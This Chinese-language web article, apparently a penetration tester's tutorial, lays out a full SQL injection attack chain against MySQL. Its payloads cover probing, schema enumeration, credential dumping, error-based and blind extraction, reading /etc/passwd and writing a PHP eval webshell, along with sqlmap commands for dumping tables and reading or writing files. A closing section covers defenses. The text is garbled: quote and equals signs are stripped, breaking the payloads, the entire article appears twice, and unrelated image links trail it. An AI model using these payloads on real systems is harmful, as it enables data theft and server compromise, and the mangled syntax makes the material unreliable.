1. 项目概述从“命令”到“武器库”的认知升级提到SQL注入很多刚入门安全测试的朋友第一反应就是去背一堆“命令”——比如union select 1,2,3或者 and 11 --。这没错这些确实是核心的“弹药”。但如果你只把它们看作孤立的命令那你的水平可能就永远停留在“脚本小子”的阶段了。我干了十多年渗透测试见过太多人拿着网上抄来的payload一通乱试成功了不知道为什么失败了更不知道怎么办。今天我想跟你聊的“SQL注入常用命令详解”绝不仅仅是罗列一堆语法。我的目标是帮你把这些零散的“命令”组装成一套有逻辑、有层次、能应对各种复杂场景的“武器库”。你得理解每一条命令背后的意图它是在探测什么是在绕过什么又是在提取什么信息只有这样当你在真实的黑盒测试中面对一个陌生的输入点时你才能像老手一样快速在脑海中构建出攻击路径图而不是机械地背诵。无论是DVWA、Pikachu这样的入门靶场还是CTF中那些刁钻的字符型、报错型题目甚至是像文章管理系统、avcon综合管理平台这类真实环境其内核逻辑都是相通的。掌握了这套“武器思维”你才能举一反三。2. 核心思路拆解构建你的注入攻击链在真正敲下任何一条注入命令之前脑子里必须有一条清晰的攻击链。这条链决定了你使用命令的顺序和方式盲目乱试只会触发WAF或者被日志记录。2.1 侦察与探测判断注入点与类型这是所有工作的起点。你的目标不是注入成功而是“看清”目标。核心命令与意图基础探测、、)。目的很简单通过输入这些闭合字符观察页面回显是否出现语法错误如MySQL的You have an error in your SQL syntax。一旦出现错误基本可以确定存在注入点并且错误信息有时会直接暴露部分SQL语句结构这是黄金信息。逻辑测试and 11、and 12。这是经典的布尔盲测。在疑似注入点后拼接这些条件。如果and 11时页面正常and 12时页面异常空白、错误、内容不同那么这里就是一个可进行布尔逻辑判断的注入点。这招在无显错信息的盲注场景下是生命线。类型判断通过?id1和?id1的对比可以判断是数字型还是字符型。数字型通常1 and 11直接生效字符型则需要考虑闭合如1 and 11。实操心得别只用一种payload探测。一个点可能对有过滤但对没有。现代应用常常有多处输入URL参数、Cookie、User-Agent头、X-Forwarded-For头都可能是入口。用Burp Suite抓包在每个可能的地方都试试。2.2 信息收集摸清数据库“家底”确认注入点后先别急着拖库。了解数据库的版本、用户、当前数据库名等信息至关重要它直接决定你后续能用哪些高级攻击手法。核心命令与意图以MySQL为例查询版本与用户union select 1, version(), user(), database() --version()知道版本号才能确定是否存在已知漏洞如老版本的into outfile写shell漏洞以及某些函数是否可用。user()当前数据库用户权限。如果是rootlocalhost那危害性极大如果是普通用户则需评估其权限。database()当前使用的数据库名是后续查表的前提。查询所有数据库名union select 1, schema_name from information_schema.schemata --information_schema.schemata这是MySQL的信息数据库存储了所有数据库的元数据。这一步让你看清服务器上有哪些“仓库”。为什么是information_schema这是理解SQL注入的关键。在MySQL、MariaDB中information_schema是一个系统数据库它像一本“数据库的字典”记录了所有其他数据库、表、列、权限的信息。攻击者无需知道具体应用表名只需查询这个系统库就能一步步推导出目标数据的位置。这是SQL注入自动化工具如sqlmap的理论基础。2.3 数据提取精准定位与获取知道了数据库名下一步就是找具体的“货架”表和“货物”列。核心命令与意图查表union select 1, table_name from information_schema.tables where table_schema目标库名 --从information_schema.tables中筛选出属于目标数据库的所有表名。通常你需要寻找像admin、user、password、customer这类敏感表。查列union select 1, column_name from information_schema.columns where table_name目标表名 and table_schema目标库名 --知道了表名再从information_schema.columns中查这个表有哪些列。寻找username、passwd、email、phone等字段。拖数据union select 1, username, password from 目标库名.目标表名 --最后一步直接查询目标表的目标列获取明文或哈希后的凭证数据。参数计算与绕过这里常遇到问题就是union select前后查询的列数必须一致。你需要先用order by N来猜解列数。例如?id1 order by 5 --如果页面正常说明至少有5列报错则少于5列。通过二分法试3试7…快速确定列数。确定后在union select后使用相同数量的列并用数字1,2,3...或null占位在可回显的位置替换为你要查询的函数或列名。2.4 高级利用与拓展基础的数据提取只是开始真正的“常用命令”还包括在各种限制下的突围技巧。报错注入当页面没有正常回显但会返回数据库错误信息时使用。利用像updatexml()、extractvalue()、floor(rand()*2)这类函数故意制造错误并将查询结果带到错误信息中。例如 and updatexml(1, concat(0x7e, (select user()), 0x7e), 1) --。这里的0x7e是波浪号~的十六进制用于在错误信息中清晰分隔出我们注入的查询结果。布尔盲注无任何回显只有页面正常/异常两种状态。通过and length(database())5、and substr((select table_name from information_schema.tables limit 1),1,1)a这种逻辑判断像猜密码一样一位位地猜解数据。这个过程极其繁琐必须依赖脚本自动化。时间盲注连布尔状态都没有只能通过让数据库执行延时函数来判断。 and if(ascii(substr(database(),1,1))100, sleep(5), 0) --。如果页面响应延迟了5秒说明判断条件为真。这是最隐蔽但也最低效的方式。堆叠查询利用;执行多条SQL语句。如?id1; update users set passwordhacked where id1; --。但并非所有数据库驱动都支持PHPMySQL默认就不支持。文件读写需要高权限如FILE权限。union select 1, load_file(/etc/passwd) --读取服务器文件union select 1, ?php eval($_POST[cmd]);? into outfile /var/www/html/shell.php --写入Webshell。这是极具破坏性的操作。3. 实战命令手册与场景化应用下面我把这些命令按场景整理成表并附上典型用例和绕过技巧。3.1 探测与指纹识别命令集命令/Payload主要目的预期响应成功时适用场景备注//)探测注入点判断闭合方式数据库语法错误页面所有可疑输入点第一步必做根据错误信息调整闭合and 11/and 12布尔逻辑测试确认注入11正常12异常搜索框、筛选条件可用于数字/字符型需闭合 and 11字符型注入闭合测试页面正常显示URL参数、表单确保SQL语句逻辑完整sleep(5)测试时间盲注可能性页面响应延迟约5秒无任何回显的盲注点可结合if条件使用/*!50000select*/内联注释绕过简单WAF被正常执行存在关键词过滤MySQL特有!后跟版本号场景示例DVWA Low难度假设URL为/dvwa/vulnerabilities/sqli/?id1SubmitSubmit探测访问...?id1页面报错确认字符型注入闭合符为单引号。测列数...?id1 order by 2 -- SubmitSubmit正常。order by 3报错确认2列。查信息...?id-1 union select version(), database() -- SubmitSubmit。这里id-1是为了让前一个查询无结果从而直接显示union后的结果。3.2 信息收集与数据提取命令集阶段核心查询语句示例关键函数/表说明输出目标基础信息union select user(), version(), database()user():当前用户version():数据库版本database():当前库权限、版本、库名数据库枚举union select 1, group_concat(schema_name) from information_schema.schematainformation_schema.schemata: 所有数据库group_concat(): 合并多行服务器上所有数据库列表表名枚举union select 1, group_concat(table_name) from information_schema.tables where table_schemadvwainformation_schema.tables: 所有表table_schema限定库指定库中的所有表名列名枚举union select 1, group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadvwainformation_schema.columns: 所有列指定表的所有列名数据提取union select user, password from dvwa.users直接查询目标表最终的敏感数据如账号密码避坑技巧group_concat()有长度限制默认1024字节。如果表或列太多显示不全可以用limit分片查询... union select 1, table_name from information_schema.tables where table_schematarget_db limit 0,1一次查一个。3.3 报错注入命令详解报错注入的核心是故意制造一个数据库错误并将子查询的结果“夹带”在错误信息中返回。常用函数及Payload构造updatexml()函数语法UPDATEXML(XML_document, XPath_string, new_value)注入原理第二个参数XPath_string需要是合法的XPath格式否则会报错。我们将查询结果拼接进去使其非法。经典Payload and updatexml(1, concat(0x7e, (select user()), 0x7e), 1) --解释concat(0x7e, (select user()), 0x7e)会将当前用户查询结果前后加上波浪号~形成如~rootlocalhost~的字符串。这不是一个合法的XPath所以数据库执行updatexml时会报错错误信息中通常就包含了这个字符串从而泄露了user()的结果。限制updatexml最多只能返回约32KB的数据且一次只能显示一行的一部分约几十个字符。对于长数据需要配合substr()函数分段截取。extractvalue()函数语法EXTRACTVALUE(XML_document, XPath_string)原理与updatexml类似利用第二个参数非法引发报错。经典Payload and extractvalue(1, concat(0x7e, (select database()))) --特点用法和限制与updatexml几乎完全相同可以互为备选。floor()rand()group by主键重复错误经典Payload and (select 1 from (select count(*), concat((select user()), floor(rand(0)*2)) as x from information_schema.tables group by x) as a) --解释这个Payload相对复杂。其核心是利用floor(rand(0)*2)在group by分组时因序列确定性导致的主键重复错误。错误信息中会包含concat内的查询结果。这是历史上非常经典的一种报错注入方式但构造起来稍麻烦。优点在某些updatexml和extractvalue不可用的场景下可能生效。报错注入实战步骤确认报错点输入一个单引号观察页面是否返回详细的数据库错误如MySQL的错误信息。如果有则适合报错注入。构造Payload选择上述一种函数将你想要查询的信息如select database()放入其中。分段获取数据由于长度限制查询长数据如表名列表时需要使用limit和substr。例如获取第一个表名的前10个字符 and updatexml(1, concat(0x7e, substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,10), 0x7e),1) --循环遍历通过脚本自动化修改limit的偏移量和substr的起始位置即可完整拖出所有数据。3.4 盲注当一切回显都被关闭盲注是SQL注入中最考验耐心和脚本能力的部分。它分为布尔盲注和时间盲注。布尔盲注的核心逻辑页面只有两种状态正常True和异常False。我们通过注入and条件像“问问题”一样让数据库回答“是”或“否”。猜解数据库名长度 and length(database())4 --。如果页面正常说明库名长度是4。猜解数据库名每一位 and substr(database(),1,1)a --。通过改变substr的位数和比较的字符利用二分法比较ASCII码可以快速猜出。substr(database(),2,1)猜第二位以此类推。猜解表名数量、表名 and (select count(table_name) from information_schema.tables where table_schemadatabase())5 --先猜表数量。然后 and substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)u --猜第一个表的第一个字母。这个过程极其繁琐必须使用Python等脚本自动化。脚本会遍历所有可能的字符通常是小写字母、数字、下划线根据页面差异可通过HTML长度、特定关键词是否存在来判断来确定每一位字符。时间盲注的核心逻辑当页面无论对错都返回相同内容连布尔状态都无法区分时就用时间盲注。通过if(条件, sleep(5), 0)让数据库在条件为真时“睡一会儿”从而通过响应时间来判断。Payload示例 and if(ascii(substr(database(),1,1))100, sleep(3), 0) --解释如果当前数据库名的第一个字符的ASCII码大于100则页面响应会延迟至少3秒。通过不断调整比较的ASCII码值二分法可以确定该字符的准确值。时间盲注的效率比布尔盲注更低因为每次请求都要等待设定的睡眠时间。自动化脚本需要设置一个合理的超时阈值来判断“真”或“假”。4. 工具化实战以Sqlmap为例解析命令思维理解了手工注入的原理再看Sqlmap这样的自动化工具你就会明白它只是在模拟我们上面的思维链。掌握它的核心参数就是让你用工具的思路来巩固手工注入的理解。Sqlmap常用命令场景解析基础探测sqlmap -u http://target.com/page.php?id1工具会自动尝试各种闭合和探测技巧相当于我们手工做的第一步。指定参数与注入技术sqlmap -u http://target.com/page.php?id1 --techniqueB--technique参数指定注入技术。B代表布尔盲注E代表报错注入U代表联合查询S代表堆叠查询T代表时间盲注。这对应了我们手工测试时对不同场景的判断。获取信息sqlmap -u http://target.com/page.php?id1 --current-user --current-db --is-dba这对应了手工注入的union select user(), database()以及判断是否为DBA管理员权限。枚举数据sqlmap -u http://target.com/page.php?id1 -D dvwa --tables sqlmap -u http://target.com/page.php?id1 -D dvwa -T users --columns sqlmap -u http://target.com/page.php?id1 -D dvwa -T users -C user,password --dump这一系列命令完美对应了手工注入中“查库 - 查表 - 查列 - 拖数据”的完整链条。--dump还会尝试自动破解哈希值。文件读写需高权限sqlmap -u http://target.com/page.php?id1 --file-read/etc/passwd sqlmap -u http://target.com/page.php?id1 --file-write/local/path/shell.php --file-dest/var/www/html/shell.php这对应了手工注入中的load_file()和into outfile操作。工具使用的注意事项不要盲目跑全自动先用--batch模式快速扫描但关键步骤建议交互式进行避免误操作。善用--level和--risk提高级别和风险值会使用更多、更激进的payload进行测试但也更容易触发WAF和日志。代理与延迟使用--proxy设置代理便于调试在时间盲注时使用--delay设置请求间隔避免对目标造成过大压力或被封IP。理解输出工具输出的每一个步骤都对应着手工注入的一个环节。多看它的payload是学习绕过技巧的好方法。5. 防御视角与命令的“另一面”作为一个负责任的安全从业者了解攻击命令的最终目的是为了更好地防御。从防御角度看这些“常用命令”就是我们要重点过滤和监控的恶意输入模式。基于命令特征的防御思路输入过滤与转义黑名单过滤union、select、and、or、、、--、#、/*、*/、sleep、benchmark、updatexml、extractvalue等关键词和函数名。但黑名单很容易被绕过如大小写、双写、内联注释/*!50000select*/。白名单对于数字型ID严格限制输入为整数。对于有限选项如分类只允许预定值。这是最有效的方法。转义对特殊字符进行转义如将转为\。但需确保使用正确的数据库扩展函数如mysqli_real_escape_string并统一字符集避免宽字节注入。参数化查询预编译语句原理这是根治SQL注入的终极手段。将SQL语句SELECT * FROM users WHERE id ?与参数1分开发送给数据库。数据库会先将语句编译为执行计划再将参数作为纯数据处理。此时即使用户输入1 or 11也只会被当作一个完整的字符串参数而不会被解析为SQL语法。命令示例PHP PDO$stmt $pdo-prepare(SELECT * FROM users WHERE email :email AND status :status); $stmt-execute([email $email, status $status]);在这个场景下任何注入命令在$email或$status变量中都失效了。最小权限原则为Web应用连接数据库的账户分配最小必要权限。通常只需要SELECT权限绝对不要给FILE、DROP、CREATE、ALTER等高危权限。这样即使注入成功攻击者也无法进行写文件、删表等破坏性操作。错误信息处理在生产环境中禁止将详细的数据库错误信息直接返回给前端用户。应使用自定义的错误页面。这能有效防范报错注入并增加攻击者的信息收集难度。Web应用防火墙WAF部署WAF可以基于规则实时拦截常见的SQL注入攻击模式。但WAF不是银弹可能存在绕过风险应作为纵深防御的一环而非唯一依赖。从攻击命令反推防御检查清单你的代码中是否存在直接拼接字符串的SQL语句$sql SELECT * FROM users WHERE id . $_GET[id];这是高危信号。数据库连接用户是否拥有root或DBA权限立即降权。前端错误提示是否暴露了MySQL、You have an error等字样立即关闭详细错误回显。是否对所有用户输入包括HTTP头、Cookie都进行了严格的校验或参数化处理理解攻击是为了铸就更坚固的防御。当你再看到union select、updatexml这些命令时你脑子里应该同时浮现出两幅画面一幅是作为攻击者如何精巧地组装它们另一幅是作为防御者如何在代码层面、架构层面将它们彻底拒之门外。这才是“SQL注入常用命令”这个话题所能带给你的最完整的价值。
SQL注入攻击链构建：从基础探测到高级利用的实战命令手册
发布时间：2026/7/1 6:24:53
1. 项目概述从“命令”到“武器库”的认知升级提到SQL注入很多刚入门安全测试的朋友第一反应就是去背一堆“命令”——比如union select 1,2,3或者 and 11 --。这没错这些确实是核心的“弹药”。但如果你只把它们看作孤立的命令那你的水平可能就永远停留在“脚本小子”的阶段了。我干了十多年渗透测试见过太多人拿着网上抄来的payload一通乱试成功了不知道为什么失败了更不知道怎么办。今天我想跟你聊的“SQL注入常用命令详解”绝不仅仅是罗列一堆语法。我的目标是帮你把这些零散的“命令”组装成一套有逻辑、有层次、能应对各种复杂场景的“武器库”。你得理解每一条命令背后的意图它是在探测什么是在绕过什么又是在提取什么信息只有这样当你在真实的黑盒测试中面对一个陌生的输入点时你才能像老手一样快速在脑海中构建出攻击路径图而不是机械地背诵。无论是DVWA、Pikachu这样的入门靶场还是CTF中那些刁钻的字符型、报错型题目甚至是像文章管理系统、avcon综合管理平台这类真实环境其内核逻辑都是相通的。掌握了这套“武器思维”你才能举一反三。2. 核心思路拆解构建你的注入攻击链在真正敲下任何一条注入命令之前脑子里必须有一条清晰的攻击链。这条链决定了你使用命令的顺序和方式盲目乱试只会触发WAF或者被日志记录。2.1 侦察与探测判断注入点与类型这是所有工作的起点。你的目标不是注入成功而是“看清”目标。核心命令与意图基础探测、、)。目的很简单通过输入这些闭合字符观察页面回显是否出现语法错误如MySQL的You have an error in your SQL syntax。一旦出现错误基本可以确定存在注入点并且错误信息有时会直接暴露部分SQL语句结构这是黄金信息。逻辑测试and 11、and 12。这是经典的布尔盲测。在疑似注入点后拼接这些条件。如果and 11时页面正常and 12时页面异常空白、错误、内容不同那么这里就是一个可进行布尔逻辑判断的注入点。这招在无显错信息的盲注场景下是生命线。类型判断通过?id1和?id1的对比可以判断是数字型还是字符型。数字型通常1 and 11直接生效字符型则需要考虑闭合如1 and 11。实操心得别只用一种payload探测。一个点可能对有过滤但对没有。现代应用常常有多处输入URL参数、Cookie、User-Agent头、X-Forwarded-For头都可能是入口。用Burp Suite抓包在每个可能的地方都试试。2.2 信息收集摸清数据库“家底”确认注入点后先别急着拖库。了解数据库的版本、用户、当前数据库名等信息至关重要它直接决定你后续能用哪些高级攻击手法。核心命令与意图以MySQL为例查询版本与用户union select 1, version(), user(), database() --version()知道版本号才能确定是否存在已知漏洞如老版本的into outfile写shell漏洞以及某些函数是否可用。user()当前数据库用户权限。如果是rootlocalhost那危害性极大如果是普通用户则需评估其权限。database()当前使用的数据库名是后续查表的前提。查询所有数据库名union select 1, schema_name from information_schema.schemata --information_schema.schemata这是MySQL的信息数据库存储了所有数据库的元数据。这一步让你看清服务器上有哪些“仓库”。为什么是information_schema这是理解SQL注入的关键。在MySQL、MariaDB中information_schema是一个系统数据库它像一本“数据库的字典”记录了所有其他数据库、表、列、权限的信息。攻击者无需知道具体应用表名只需查询这个系统库就能一步步推导出目标数据的位置。这是SQL注入自动化工具如sqlmap的理论基础。2.3 数据提取精准定位与获取知道了数据库名下一步就是找具体的“货架”表和“货物”列。核心命令与意图查表union select 1, table_name from information_schema.tables where table_schema目标库名 --从information_schema.tables中筛选出属于目标数据库的所有表名。通常你需要寻找像admin、user、password、customer这类敏感表。查列union select 1, column_name from information_schema.columns where table_name目标表名 and table_schema目标库名 --知道了表名再从information_schema.columns中查这个表有哪些列。寻找username、passwd、email、phone等字段。拖数据union select 1, username, password from 目标库名.目标表名 --最后一步直接查询目标表的目标列获取明文或哈希后的凭证数据。参数计算与绕过这里常遇到问题就是union select前后查询的列数必须一致。你需要先用order by N来猜解列数。例如?id1 order by 5 --如果页面正常说明至少有5列报错则少于5列。通过二分法试3试7…快速确定列数。确定后在union select后使用相同数量的列并用数字1,2,3...或null占位在可回显的位置替换为你要查询的函数或列名。2.4 高级利用与拓展基础的数据提取只是开始真正的“常用命令”还包括在各种限制下的突围技巧。报错注入当页面没有正常回显但会返回数据库错误信息时使用。利用像updatexml()、extractvalue()、floor(rand()*2)这类函数故意制造错误并将查询结果带到错误信息中。例如 and updatexml(1, concat(0x7e, (select user()), 0x7e), 1) --。这里的0x7e是波浪号~的十六进制用于在错误信息中清晰分隔出我们注入的查询结果。布尔盲注无任何回显只有页面正常/异常两种状态。通过and length(database())5、and substr((select table_name from information_schema.tables limit 1),1,1)a这种逻辑判断像猜密码一样一位位地猜解数据。这个过程极其繁琐必须依赖脚本自动化。时间盲注连布尔状态都没有只能通过让数据库执行延时函数来判断。 and if(ascii(substr(database(),1,1))100, sleep(5), 0) --。如果页面响应延迟了5秒说明判断条件为真。这是最隐蔽但也最低效的方式。堆叠查询利用;执行多条SQL语句。如?id1; update users set passwordhacked where id1; --。但并非所有数据库驱动都支持PHPMySQL默认就不支持。文件读写需要高权限如FILE权限。union select 1, load_file(/etc/passwd) --读取服务器文件union select 1, ?php eval($_POST[cmd]);? into outfile /var/www/html/shell.php --写入Webshell。这是极具破坏性的操作。3. 实战命令手册与场景化应用下面我把这些命令按场景整理成表并附上典型用例和绕过技巧。3.1 探测与指纹识别命令集命令/Payload主要目的预期响应成功时适用场景备注//)探测注入点判断闭合方式数据库语法错误页面所有可疑输入点第一步必做根据错误信息调整闭合and 11/and 12布尔逻辑测试确认注入11正常12异常搜索框、筛选条件可用于数字/字符型需闭合 and 11字符型注入闭合测试页面正常显示URL参数、表单确保SQL语句逻辑完整sleep(5)测试时间盲注可能性页面响应延迟约5秒无任何回显的盲注点可结合if条件使用/*!50000select*/内联注释绕过简单WAF被正常执行存在关键词过滤MySQL特有!后跟版本号场景示例DVWA Low难度假设URL为/dvwa/vulnerabilities/sqli/?id1SubmitSubmit探测访问...?id1页面报错确认字符型注入闭合符为单引号。测列数...?id1 order by 2 -- SubmitSubmit正常。order by 3报错确认2列。查信息...?id-1 union select version(), database() -- SubmitSubmit。这里id-1是为了让前一个查询无结果从而直接显示union后的结果。3.2 信息收集与数据提取命令集阶段核心查询语句示例关键函数/表说明输出目标基础信息union select user(), version(), database()user():当前用户version():数据库版本database():当前库权限、版本、库名数据库枚举union select 1, group_concat(schema_name) from information_schema.schematainformation_schema.schemata: 所有数据库group_concat(): 合并多行服务器上所有数据库列表表名枚举union select 1, group_concat(table_name) from information_schema.tables where table_schemadvwainformation_schema.tables: 所有表table_schema限定库指定库中的所有表名列名枚举union select 1, group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadvwainformation_schema.columns: 所有列指定表的所有列名数据提取union select user, password from dvwa.users直接查询目标表最终的敏感数据如账号密码避坑技巧group_concat()有长度限制默认1024字节。如果表或列太多显示不全可以用limit分片查询... union select 1, table_name from information_schema.tables where table_schematarget_db limit 0,1一次查一个。3.3 报错注入命令详解报错注入的核心是故意制造一个数据库错误并将子查询的结果“夹带”在错误信息中返回。常用函数及Payload构造updatexml()函数语法UPDATEXML(XML_document, XPath_string, new_value)注入原理第二个参数XPath_string需要是合法的XPath格式否则会报错。我们将查询结果拼接进去使其非法。经典Payload and updatexml(1, concat(0x7e, (select user()), 0x7e), 1) --解释concat(0x7e, (select user()), 0x7e)会将当前用户查询结果前后加上波浪号~形成如~rootlocalhost~的字符串。这不是一个合法的XPath所以数据库执行updatexml时会报错错误信息中通常就包含了这个字符串从而泄露了user()的结果。限制updatexml最多只能返回约32KB的数据且一次只能显示一行的一部分约几十个字符。对于长数据需要配合substr()函数分段截取。extractvalue()函数语法EXTRACTVALUE(XML_document, XPath_string)原理与updatexml类似利用第二个参数非法引发报错。经典Payload and extractvalue(1, concat(0x7e, (select database()))) --特点用法和限制与updatexml几乎完全相同可以互为备选。floor()rand()group by主键重复错误经典Payload and (select 1 from (select count(*), concat((select user()), floor(rand(0)*2)) as x from information_schema.tables group by x) as a) --解释这个Payload相对复杂。其核心是利用floor(rand(0)*2)在group by分组时因序列确定性导致的主键重复错误。错误信息中会包含concat内的查询结果。这是历史上非常经典的一种报错注入方式但构造起来稍麻烦。优点在某些updatexml和extractvalue不可用的场景下可能生效。报错注入实战步骤确认报错点输入一个单引号观察页面是否返回详细的数据库错误如MySQL的错误信息。如果有则适合报错注入。构造Payload选择上述一种函数将你想要查询的信息如select database()放入其中。分段获取数据由于长度限制查询长数据如表名列表时需要使用limit和substr。例如获取第一个表名的前10个字符 and updatexml(1, concat(0x7e, substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,10), 0x7e),1) --循环遍历通过脚本自动化修改limit的偏移量和substr的起始位置即可完整拖出所有数据。3.4 盲注当一切回显都被关闭盲注是SQL注入中最考验耐心和脚本能力的部分。它分为布尔盲注和时间盲注。布尔盲注的核心逻辑页面只有两种状态正常True和异常False。我们通过注入and条件像“问问题”一样让数据库回答“是”或“否”。猜解数据库名长度 and length(database())4 --。如果页面正常说明库名长度是4。猜解数据库名每一位 and substr(database(),1,1)a --。通过改变substr的位数和比较的字符利用二分法比较ASCII码可以快速猜出。substr(database(),2,1)猜第二位以此类推。猜解表名数量、表名 and (select count(table_name) from information_schema.tables where table_schemadatabase())5 --先猜表数量。然后 and substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)u --猜第一个表的第一个字母。这个过程极其繁琐必须使用Python等脚本自动化。脚本会遍历所有可能的字符通常是小写字母、数字、下划线根据页面差异可通过HTML长度、特定关键词是否存在来判断来确定每一位字符。时间盲注的核心逻辑当页面无论对错都返回相同内容连布尔状态都无法区分时就用时间盲注。通过if(条件, sleep(5), 0)让数据库在条件为真时“睡一会儿”从而通过响应时间来判断。Payload示例 and if(ascii(substr(database(),1,1))100, sleep(3), 0) --解释如果当前数据库名的第一个字符的ASCII码大于100则页面响应会延迟至少3秒。通过不断调整比较的ASCII码值二分法可以确定该字符的准确值。时间盲注的效率比布尔盲注更低因为每次请求都要等待设定的睡眠时间。自动化脚本需要设置一个合理的超时阈值来判断“真”或“假”。4. 工具化实战以Sqlmap为例解析命令思维理解了手工注入的原理再看Sqlmap这样的自动化工具你就会明白它只是在模拟我们上面的思维链。掌握它的核心参数就是让你用工具的思路来巩固手工注入的理解。Sqlmap常用命令场景解析基础探测sqlmap -u http://target.com/page.php?id1工具会自动尝试各种闭合和探测技巧相当于我们手工做的第一步。指定参数与注入技术sqlmap -u http://target.com/page.php?id1 --techniqueB--technique参数指定注入技术。B代表布尔盲注E代表报错注入U代表联合查询S代表堆叠查询T代表时间盲注。这对应了我们手工测试时对不同场景的判断。获取信息sqlmap -u http://target.com/page.php?id1 --current-user --current-db --is-dba这对应了手工注入的union select user(), database()以及判断是否为DBA管理员权限。枚举数据sqlmap -u http://target.com/page.php?id1 -D dvwa --tables sqlmap -u http://target.com/page.php?id1 -D dvwa -T users --columns sqlmap -u http://target.com/page.php?id1 -D dvwa -T users -C user,password --dump这一系列命令完美对应了手工注入中“查库 - 查表 - 查列 - 拖数据”的完整链条。--dump还会尝试自动破解哈希值。文件读写需高权限sqlmap -u http://target.com/page.php?id1 --file-read/etc/passwd sqlmap -u http://target.com/page.php?id1 --file-write/local/path/shell.php --file-dest/var/www/html/shell.php这对应了手工注入中的load_file()和into outfile操作。工具使用的注意事项不要盲目跑全自动先用--batch模式快速扫描但关键步骤建议交互式进行避免误操作。善用--level和--risk提高级别和风险值会使用更多、更激进的payload进行测试但也更容易触发WAF和日志。代理与延迟使用--proxy设置代理便于调试在时间盲注时使用--delay设置请求间隔避免对目标造成过大压力或被封IP。理解输出工具输出的每一个步骤都对应着手工注入的一个环节。多看它的payload是学习绕过技巧的好方法。5. 防御视角与命令的“另一面”作为一个负责任的安全从业者了解攻击命令的最终目的是为了更好地防御。从防御角度看这些“常用命令”就是我们要重点过滤和监控的恶意输入模式。基于命令特征的防御思路输入过滤与转义黑名单过滤union、select、and、or、、、--、#、/*、*/、sleep、benchmark、updatexml、extractvalue等关键词和函数名。但黑名单很容易被绕过如大小写、双写、内联注释/*!50000select*/。白名单对于数字型ID严格限制输入为整数。对于有限选项如分类只允许预定值。这是最有效的方法。转义对特殊字符进行转义如将转为\。但需确保使用正确的数据库扩展函数如mysqli_real_escape_string并统一字符集避免宽字节注入。参数化查询预编译语句原理这是根治SQL注入的终极手段。将SQL语句SELECT * FROM users WHERE id ?与参数1分开发送给数据库。数据库会先将语句编译为执行计划再将参数作为纯数据处理。此时即使用户输入1 or 11也只会被当作一个完整的字符串参数而不会被解析为SQL语法。命令示例PHP PDO$stmt $pdo-prepare(SELECT * FROM users WHERE email :email AND status :status); $stmt-execute([email $email, status $status]);在这个场景下任何注入命令在$email或$status变量中都失效了。最小权限原则为Web应用连接数据库的账户分配最小必要权限。通常只需要SELECT权限绝对不要给FILE、DROP、CREATE、ALTER等高危权限。这样即使注入成功攻击者也无法进行写文件、删表等破坏性操作。错误信息处理在生产环境中禁止将详细的数据库错误信息直接返回给前端用户。应使用自定义的错误页面。这能有效防范报错注入并增加攻击者的信息收集难度。Web应用防火墙WAF部署WAF可以基于规则实时拦截常见的SQL注入攻击模式。但WAF不是银弹可能存在绕过风险应作为纵深防御的一环而非唯一依赖。从攻击命令反推防御检查清单你的代码中是否存在直接拼接字符串的SQL语句$sql SELECT * FROM users WHERE id . $_GET[id];这是高危信号。数据库连接用户是否拥有root或DBA权限立即降权。前端错误提示是否暴露了MySQL、You have an error等字样立即关闭详细错误回显。是否对所有用户输入包括HTTP头、Cookie都进行了严格的校验或参数化处理理解攻击是为了铸就更坚固的防御。当你再看到union select、updatexml这些命令时你脑子里应该同时浮现出两幅画面一幅是作为攻击者如何精巧地组装它们另一幅是作为防御者如何在代码层面、架构层面将它们彻底拒之门外。这才是“SQL注入常用命令”这个话题所能带给你的最完整的价值。
![华为OD机试2025C卷-字符串变换最小次数[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率](http://pic.xiahunao.cn/yaotu/华为OD机试2025C卷-字符串变换最小次数[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率)
![华为OD机试2025C卷-内存资源分配[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率](http://pic.xiahunao.cn/yaotu/华为OD机试2025C卷-内存资源分配[100分]（ Java _ Python3 _ C++ _ C语言 _ JsNode _ Go）实现100%通过率)